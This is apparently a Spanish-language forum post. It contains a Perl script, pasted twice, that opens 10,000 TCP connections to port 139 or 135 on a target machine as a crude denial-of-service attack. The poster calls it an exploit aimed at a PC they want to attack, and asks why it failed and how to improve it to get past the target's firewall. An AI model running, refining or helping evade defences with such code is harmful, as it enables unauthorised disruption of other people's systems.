Código:
#!/usr/bin/perl
use IO::Socket;
$host="IP";
$port="139"; #135 para RPC
for ($i=0; $i<10000; $i++) {
$socket[$i]=IO::Socket::INET->new(PeerAddr, "$host", PeerPort, "$port", Proto, "tcp");
if ($socket[$i]) {
print "Servicio ON\n";
}
else {
print "Servicio OFF\n";
}
}
use IO::Socket;
$host="IP";
$port="139"; #135 para RPC
for ($i=0; $i<10000; $i++) {
$socket[$i]=IO::Socket::INET->new(PeerAddr, "$host", PeerPort, "$port", Proto, "tcp");
if ($socket[$i]) {
print "Servicio ON\n";
}
else {
print "Servicio OFF\n";
}
}
PERO EL PROPOSITO DE ESTE POST ES SABER SI ALGUNO PUEDE DECIRME PORQUE AL EJECUTARLO NO LOGRO EL OBJETIVO...LO QUE HACE ESTE XPLOIT ES CONECTARSE 10000 VECES AL PUERTO 135....
CUAL PODRIA SER LOS INTERROGANTES...
1) LA PC A LA QUE QUIERO ATACAR TIENE FIREWALL?
2) EL XPLOIT SE FUE EN EL TIEMPO?
3) SE PODRIA MEJORAR EL CODIGO PARA TRASPASAR EL FIREWALL
AYUDA!!!!GRACIAS.










Autor


En línea







.



